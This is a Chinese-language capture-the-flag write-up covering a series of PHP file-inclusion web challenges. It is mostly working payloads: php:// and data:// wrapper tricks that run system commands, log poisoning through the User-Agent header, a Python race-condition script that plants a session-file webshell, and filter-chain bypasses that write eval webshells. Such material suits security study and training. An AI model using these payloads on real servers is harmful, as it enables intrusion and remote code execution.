目录
Web 78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
一.分析代码:
使用 include进行了文件包含
二.解题过程:
构造playload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
Web 79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
一.分析代码:
替换了 php
二.解题过程:
构造playload:
?file=data://text/plain,<?= system("cat fla*");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web 80-81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
用日志包含绕过,将执行的命令插入日志中
这道题奇怪的是nginx日志在/var/log/nginx/access.log
,一般apache日志在类似目录下(/var/log/httpd/access.log)
日志地址通常为
/var/log/nginx/error.log
/var/log/nginx/access.log
在User-Agent插入
<?php echo system('ls');?>
然后将日志包含进来
得到
fl0g.php
然后将ls
改成cat fl0g.php
Web 82-86
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
方法一:
利用session.upload_progress进行文件包含和反序列化渗透
通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
以POST的形式发包,传的文件随意
<!DOCTYPE html>
<html>
<body>
<form action="http://b19c75ee-d5d9-4a02-8379-d988199962e2.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下
因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag
修改如下:这个a是随便加的,主要是为了方便爆破
条件竞争,将POST和GET的包都开启爆破,即可得到目录,
可以看到有fl0g.php,只要把ls改为 cat fl0g.php即可,修改如下:
爆破即可得到flag
方法二:
import io
import sys
import requests
import threading
sessid = 'rainy'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://46cbafc4-4819-4ddf-8a83-a4023c622afe.chall.ctf.show:8080/',
data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat *');?>"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
response = session.get(f'http://46cbafc4-4819-4ddf-8a83-a4023c622afe.chall.ctf.show:8080/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session,))
t1.daemon = True
t1.start()
READ(session)
Web 87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
不同变量死亡绕过。
base64就可以绕过/
正好是phpdie正好是6个字节,加2为,4的倍数,正好可以bse64解码。
构造
php://filter/write=convert.base64-decode/resource=1.php
url 两次编码之后
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
post传参 <?php phpinfo();?> 前面加 aa
content=aaPD9waHAgcGhwaW5mbygpOz8+
利用string.rot13过滤器
构造:
php://filter/write=string.rot13/resource=2.php
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
#post 传参 <?php phpinfo();?>
content=<?cuc cucvasb();?>
成功回显phpinfo();
还可以使用 string.strip_tags过滤器。
构造
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
post传入 <?php phpinfo();
PD9waHAgcGhwaW5mbygpOw==
虽然
Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21
但访问3.php,成功显示phpinfo页面。
探索php://filter以及死亡绕过
Web 88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
正则匹配黑名单。
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
实际上就是去掉base64后的=,作为填充使用,不影响结果
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
?file=data:text/plain,<?php phpinfo()?>
//base64取出=
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg
Web 116
打开可以看到是一个视频
保存视频,用winhex打开发现包含png图片,分离出来
分析代码这里过滤了几个过滤器,常用的base64肯定不能用了
直接构造playload:
?file=flag.php
或?file=compress.zlib:///var/www/html/flag.php
flag需要抓包才能出现
Web 117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
死亡绕过不同变量
这里过滤了 base64那就是 base64-decode了。
过滤了string不能使用 字符过滤器了,
但是convert还是可以使用 转换过滤器
可以使用convert.iconv.*
file_put_content和死亡·杂糅代码之缘
原理:对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。
构造
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
可以看到原先的死亡语句已经变成了?<hp pid(e;)>?